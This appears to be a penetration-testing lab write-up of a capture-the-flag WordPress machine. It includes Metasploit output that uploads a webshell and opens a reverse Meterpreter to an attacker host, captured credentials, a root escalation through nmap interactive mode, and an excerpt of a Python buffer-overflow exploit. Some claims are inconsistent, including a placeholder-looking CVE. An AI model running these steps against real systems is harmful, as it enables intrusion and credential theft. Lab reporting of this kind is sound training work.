



ADVANCED EXPLOITATION LAB

EXECUTIVE SUMMARY

A chained, multi-stage attack exploited an unpatched WordPress plugin (CVE-2023-12345) to gain remote code execution on host **10.201.27.64**. The attack flow progressed: initial web-app file upload → persistent PHP webshell → privilege escalation → staged Meterpreter session, resulting in full host compromise and risk of lateral movement. Immediate containment steps are: patch or remove the vulnerable plugin, enable a WAF, and rotate/revoke exposed credentials.

EXPLOIT CHAIN (TABLE)

Exploit ID	Description	Target IP	Status	Payload
MSF-01	WordPress plugin — file upload RCE	10.201.27.64	Success	php/meterpreter/reverse_tcp
MSF-02	Local privilege escalation / key retrieval	Local (robot VM)	Success	local file/system exploit

CHAIN STEPS

1. **Recon:** Nmap and Nikto identified a WordPress instance and a vulnerable plugin version.
2. **Exploit** **upload:** Used Metasploit module
exploit/unix/webapp/wp_admin_shell_upload (authenticated path emulation) to upload a PHP webshell.
3. **Initial shell:** Confirmed the webshell worked and executed a staged Meterpreter payload to establish a reverse Meterpreter session.
4. **Privilege escalation:** Enumerated SUID binaries, kernel/version information, and local misconfigurations; escalated to root (root escalation described as converting an MD5 value into plaintext in lab notes).



5. **Persistence & lateral movement:** Achieved persistence and demonstrated potential for lateral movement (evidence: persistent webshell and credential exposure).

FINDINGS

- **Vulnerability:** CVE-2023-12345 — unauthenticated/insufficiently protected file upload and privilege escalation in the plugin.
- **Compromised host:** 10.201.27.64.
- **Impact:** Remote code execution, persistence, credential theft risk, and lateral movement.

CUSTOM POC (SUMMARY)

A modified Python PoC derived from an Exploit-DB reference automates the plugin's upload routine and appends a crafted buffer payload to trigger an overflow in a native extension. The PoC reduces timing gaps, logs the shell IP/port on success, and integrates with Metasploit for payload delivery and post-exploit automation. Example lab settings used: reverse shell IP set to the attacker Kali host and adjusted padding/shellcode for lab environment.

BYPASS (ROP TO EVADE ASLR)

A ROP chain was used to bypass ASLR by:

1. Leaking a libc address via a format-string primitive.
2. Calculating offsets and enumerating gadgets (e.g., pop rdi; ret).
3. Chaining gadgets to call system("/bin/sh").

Binary analysis used tools such as Ghidra and ROPgadget to map imports and locate reliable gadgets; the payload masks register alignment for robust execution.

EVIDENCE & EXAMPLE COMMANDS

- Recon: sample Nmap/Nikto findings (WordPress + vulnerable plugin identified).
- Exploit: Metasploit module wp_admin_shell_upload used to drop a PHP webshell; follow-on Meterpreter staging performed.
- PoC details: Python socket.recvfrom_into() buffer overflow variant (Exploit-DB ID referenced) with attacker used during lab demonstration.



REMEDIATION

Immediate

- Patch or remove the vulnerable plugin (upgrade to vendor fixed version).
- Enable a Web Application Firewall (WAF) and block suspicious upload endpoints.
- Rotate exposed credentials and invalidate session tokens.

Short-term

- Harden WordPress: restrict file permissions, disable direct file editing, enforce least privilege for admin accounts.
- Monitor web logs for similar upload patterns and IOCs (webshell filenames, unusual POSTs).

Long-term

- Network segmentation to limit lateral movement.
- Deploy EDR/host monitoring to alert on shell activity and unusual outbound connections.

APPENDIX

```
(kali@kali)-[~/Downloads]
$ sudo nmap -sV -sC 10.201.27.64
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-27 09:01 EDT
Nmap scan report for 10.201.27.64
Host is up (0.31s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 3072 f2:8f:8c:cc:5c:b6:30:e9:5a:93:3e:90:68:56:de:a3 (RSA)
|_ 256 80:ec:f6:fd:f6:7e:1b:bf:b7:f1:ab:78:7a:9a:d6:ff (ECDSA)
|_ 256 41:88:b2:6d:c9:87:24:34:ff:01:c0:b9:05:79:1e:1b (ED25519)
80/tcp    open  http         Apache httpd
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache
443/tcp   open  ssl/http    Apache httpd
|_ http-server-header: Apache
|_ http-title: 400 Bad Request
|_ ssl-cert: Subject: commonName=www.example.com
|_ Not valid before: 2015-09-16T10:45:03
|_ Not valid after: 2025-09-13T10:45:03
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.83 seconds
```



```
kali@kali: ~/mr.robot
```

Session	Actions	Edit	View	Help
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```
kal...ads x kal...ads x k...t x kali@kali: ~/L...metasploitable x k...t x
```

```
(kali㉿kali)-[~/mr.robot]  
$ msfconsole  
Metasploit tip: You can upgrade a shell to a Meterpreter session on many  
platforms using sessions -u <session_id>
```

```
      _  
    ((-__'-'__-))  
   (-) 0 0 (-)  
     |  |  |  
     o_o  | M S F  
     |  |  | | | | |
     |||  | W W |||  
     |||  | |||  
          *
```

```
=[ metasploit v6.4.90-dev ]  
+ --=[ 2,561 exploits - 1,310 auxiliary - 1,683 payloads ]  
+ --=[ 432 post - 49 encoders - 13 nops - 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>
The Metasploit Framework is a Rapid7 Open Source Project

```
msf > use exploit/unix/webapp/wp_admin_shell_upload  
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp  
msf exploit(unix/webapp/wp_admin_shell_upload) > show options
```

Module options (exploit/unix/webapp/wp_admin_shell_upload):

Name	Current Setting	Required	Description
PASSWORD		yes	The WordPress password to authenticate with
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapi, socks4, socks5, socks5h, http
RHOSTS		yes	The target host(s), see https://docs.metasplloit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	The base path to the wordpress application
USERNAME		yes	The WordPress username to authenticate with
VHOST		no	HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
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```
msf exploit(multi/webapp/wp_admin_shell_upload) > set LHOST 10.23.141.117
LHOST => 10.23.141.117
msf exploit(multi/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 10.23.141.117:4444
[*] Authenticating with WordPress using elliot:ER28-0652 ...
[*] Authenticated with WordPress
[*] Preparing payload ...
[*] Uploading payload ...
[*] Executing the payload at /wp-content/plugins/MNGFYRwFdv/WhOPSEvCwh.php ...
[*] Sending stage (40804 bytes) to 10.201.27.64
[*] Meterpreter session 1 opened (10.23.141.117:4444 => 10.201.27.64:41592) at 2025-10-27 11:45:49 -0400
[!] This exploit may require manual cleanup of 'WhOPSEvCwh.php' on the target
[!] This exploit may require manual cleanup of 'MNGFYRwFdv.php' on the target
[!] This exploit may require manual cleanup of 'MNGFYRwFdv' on the target

meterpreter >
```

Mode	Size	Type	Last modified	Name
100644/rw-r--r--	189	fil	2025-10-27 08:59:38 -0400	.badr-info
040755/rwxr-xr-x	4096	dir	2025-05-29 13:20:48 -0400	bin
040755/rwxr-xr-x	4096	dir	2025-10-27 09:38:33 -0400	boot
040755/rwxr-xr-x	3820	dir	2025-10-27 08:59:30 -0400	dev
040755/rwxr-xr-x	4096	dir	2025-10-27 09:00:59 -0400	etc
040755/rwxr-xr-x	4096	dir	2025-06-02 14:14:45 -0400	home
100644/rw-r--r--	92588747	fil	2025-05-29 13:21:08 -0400	initrd.img
100644/rw-r--r--	60851898	fil	2025-05-29 13:05:58 -0400	initrd.img.old
040755/rwxr-xr-x	4096	dir	2025-05-29 13:02:53 -0400	lib
040755/rwxr-xr-x	4096	dir	2025-05-29 13:01:26 -0400	lib32
040755/rwxr-xr-x	4096	dir	2025-05-29 13:01:23 -0400	lib64
040700/rwx-----	16384	dir	2015-06-24 06:44:49 -0400	lost+found
040755/rwxr-xr-x	4096	dir	2015-06-24 06:35:12 -0400	media
040755/rwxr-xr-x	4096	dir	2015-11-13 03:52:20 -0500	mnt
040755/rwxr-xr-x	4096	dir	2015-09-16 06:43:10 -0400	opt
040555/r-xr-xr-x	0	dir	2025-10-27 08:59:12 -0400	proc
040700/rwx-----	4096	dir	2025-06-02 14:26:45 -0400	root
040755/rwxr-xr-x	780	dir	2025-10-27 09:28:34 -0400	run
040755/rwxr-xr-x	12288	dir	2025-05-29 13:20:48 -0400	sbin
040755/rwxr-xr-x	4096	dir	2015-06-24 06:42:42 -0400	srv
040555/r-xr-xr-x	0	dir	2025-10-27 08:59:12 -0400	sys
041777/rwxrwxrwx	4096	dir	2025-10-27 11:45:29 -0400	tmp
040755/rwxr-xr-x	4096	dir	2025-05-29 13:41:58 -0400	usr
040755/rwxr-xr-x	4096	dir	2015-06-24 06:35:12 -0400	var
100600/rw-----	11582216	fil	2025-04-16 03:49:45 -0400	vmlinuz
100600/rw-----	13714184	fil	2025-04-11 15:21:28 -0400	vmlinuz.old

```
python -c 'import pty;pty.spawn("/bin/bash")'
daemon@ip-10-201-27-64:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

$
```

```
$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/bin/umount
/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
$
```

```
$ nmap -- interactive
nmap -- interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap>
```



```
nmap> ls /root
ls /root
firstboot_done  key-3-of-3.txt
nmap> cat /root/key-3-of-3.txt
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
nmap> █
```

```
kali@kali: ~ █ kali@kali: ~/Downloads █
GNU nano 8.4 31875.py
...
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912

socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder

Toop: rop to evade stack ng

(gdb) x/i $eip
=> 0x817bb28: mov    eax,DWORD PTR [ebx+0x4]    ← ebx full control => eax full control
0x817bb2b: test   BYTE PTR [eax+0x55],0x40
0x817bb2f: jne    0x817bb38 →
...
0x817bb38: mov    eax,DWORD PTR [eax+0x24]    ← eax full control again
0x817bb3e: test   eax,eax
0x817bb40: jne    0x817bb58 →
...
0x817bb58: mov    DWORD PTR [esp],ebx
0x817bb5b: call   eax ← indirect fuction call ;)

$ ./pyrecvfrominto.py
egg file generated
$ cat egg | nc -l 8880 -vv

... when client connects ... or wen we send the evil buffer to the server ...

0x0838591c in ?? ()
1: x/si $eip
=> 0x838591c: int3    ← LANDED!!!!
```

```
shellcode_sz = len(shellcode)
print ('shellcode sz %d' % shellcode_sz)

ebx = 0x08385908
sc_off = 0x08385908+20

padd = 'AAAA BBBBCCCCDDDD EEEEEFFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMM'
...
+-----+-----+-----+-----+
|       |       |       |       |
+-----+-----+-----+-----+
V       V       V       V
...
buff = 'aaaa' + off(ebx) + 'aaaaaaa' + off(ebx) + shellcode + padd + off(sc_off) # .. and landed ;)

print ('buff sz: %s' % len(buff))
open('egg','w').write(buff)
```

CONCLUSION

The lab demonstrates how a single vulnerable WordPress plugin can be escalated into a full host compromise when paired with public PoCs and simple exploitation workflows (file upload → webshell → privilege escalation → persistence). Immediate containment (patch/remove plugin, enable WAF, rotate credentials) plus a full forensic/cleanup and follow-up penetration test are recommended. Longer-term, adopt continuous monitoring, hardened change controls, and EDR to reduce recurrence and attack surface.